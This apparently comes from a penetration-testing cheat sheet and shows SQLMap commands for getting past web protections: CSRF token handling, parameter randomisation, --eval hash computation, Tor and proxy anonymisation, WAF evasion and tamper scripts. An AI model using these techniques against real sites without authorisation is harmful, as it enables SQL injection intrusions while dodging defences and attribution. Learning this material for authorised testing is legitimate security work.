Bypassing Web Protections
Anti-CSRF Tokens
A CSRF token is a unique, random value generated by the server to prevent CSRF. SQLMap updates it with --csrf-token:
terminal
$ sqlmap -u "http://www.example.com/" --csrf-token="t0ken" --batch
Unique Values (Randomize)
terminal
$ sqlmap -u "http://www.example.com/?id=1&rp=29125" --randomize=rp --batch -v 5 | grep URI
Eval
Calculate one parameter from another (e.g., an MD5 hash):
bash
$ sqlmap -u "http://www.example.com/?id=1&h=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib; h=hashlib.md5(id).hexdigest()" --batch
Hide IP and Bypass WAF
--proxy, --tor and --check-tor, --skip-waf, --random-agent.
Tamper Scripts
Scripts (base64encode, 0eunion, between...) to bypass security measures. Also --chunked and HTTP Parameter Pollution.